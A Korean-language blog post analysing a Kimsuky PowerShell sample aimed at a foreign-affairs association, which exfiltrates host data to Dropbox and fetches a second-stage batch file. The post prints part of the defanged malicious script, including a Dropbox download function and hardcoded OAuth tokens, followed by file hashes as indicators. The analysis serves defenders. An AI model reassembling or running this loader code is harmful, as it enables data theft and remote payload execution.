lazarusholic

Everyday is lazarus.dayβ

김수키(Kimsuky) 외교광장.ps1 악성코드 분석 및 보안 수칙 ESET 탐지 PowerShell/Kimsuky.AX

2025-09-03, Sakai
https://wezard4u.tistory.com/429586
#Kimsuky

Contents

오늘은 사단법인 외교광장 를 노리는 악성코드-외교광장.ps1(2025.7.28) 에 대해서 글을 적어보겠습니다. 일단 해당 악성코드는 PowerShell 코드로 이루어져 있으며 감염된 PC에서 정보를 수집해 Dropbox로 유출하고, Dropbox에서 2차 페이로드(.bat)를 받아 실행하는 것이 목적인 악성코드입니다. 일단 해당 단체를 처음 들어 보아서 일단 혹시나 해서 알고 있을 것 같은 분에서 물어봐도 처음 듣는 곳이라고 하네요. 그래서 저도 나름 무엇일까? 해서 조사를 해보니 사단법인 이사장의 이름을 근거로 찾아보니 조X혁신당 비례대표 김XX 의원이었습니다.
왜~여기를 노렸을까? 생각을 해서 보니
조x혁신당 외교전략특별위원장
조X혁신당 대표 권한대행
조X혁신당 외교안보특별위원장
대충 애네들이 왜 공격을 하려고 했는지 알고 같기도 하고…. 일단 저는 악성코드에 정치하고 관련되지 않으려고 그냥 순수하게 분석을 할 것입니다.
해시
파일명:외교광장.ps1
사이즈:1 MB
MD5:8ef331da6a71931c8843488c6d13a1a2
SHA-1:3f0a89e8b1d4ab1b901c3bce93a8eae460ff1420
SHA-256:89a6d3392668ba1b765a5ebcc8ac5045fffe8b6ef431004cba352868424a5cc3
악성 PowerShell 코드
param(
[switch]$AllowSharedFolder
)
function Download-DropboxFile {
[CmdletBinding()]
Param(
[parameter(Mandatory(,)ParameterSetName="Path")]
[string]$Dropbo(x)Path,
[parameter(Mandato(r)y,ParameterSetName="Id")]
[string]$Id,
[parameter((M)andatory,Para(m)eterSetName="Revision")]
[string]$Re(v)ision,
[parameter(Man(d)atory)]
[string]$Out(F)ile,
[parameter(Mand(a(t)ory,HelpMessage="Enter access token")]
[string]$To(k)en,
[string]$Selec(t)User
)
Begin{
$URI='hxxps://con'(+)'tent(.)dropb'(+)'oxapi(.)com/2/files/dow'(+)'nload'
$Header=@{"Author(i)zation"="Bearer $Token"}
if ($Selec(t)User){
$Memb(e)rID = (Get-DropboxMemb(e)rInfo -Member(E)mail $SelectUser).team_member_id
$Header.add("Dropbox-API-Selec(t)-User",$MemberId)
}
}
Process{
switch ($PSCmdl(e)t.ParameterSetName) {
"Path" {
$Body=@{pat(h)=$DropboxPath}
}
"Id" {
$Body=@{p(a)th=$Id}
}
"Revision" {
$Body=@{(p)ath=$Revision}
}
}
$Header.Add("Drop(b)ox-API-Arg",($Bo(d)y | Convert(T)o-Json -Compress))
try {
$Result = Invoke-RestM(e)thod -Uri $URI -Met(h)od Post -Headers $Hea(d)er -OutFile $OutF(i)le -Cont(e)ntType "applic(a)tion/octet-stream"
#Write-Outp(u)t $Result
return $true
} catch {
#$ResultErr(o)r = $_.Except(i)on.Response.GetResponseStream()
#Get-DropboxError -Result $Res(u)ltError
#Write-Output "err!"
return $false
}
}
End{}
}
$ooTkReqPar = @{
grant_type = "re(f)resh_token"
refresh_token = "iUPmF(P0)(0)K-HcAAAAAAAAAAUn2al_(t)pIVg_GqzVKP(m)27Q3IYlYX80O
EDrbq7hZIFUB";
client_id = "75mc2yh(n)s7tfcad"
client_secret = "q4bbqp(n)c5g2d85l"
}
$iii = "jhb";
$dt = …

IoC

89a6d3392668ba1b765a5ebcc8ac5045fffe8b6ef431004cba352868424a5cc3
3f0a89e8b1d4ab1b901c3bce93a8eae460ff1420
8ef331da6a71931c8843488c6d13a1a2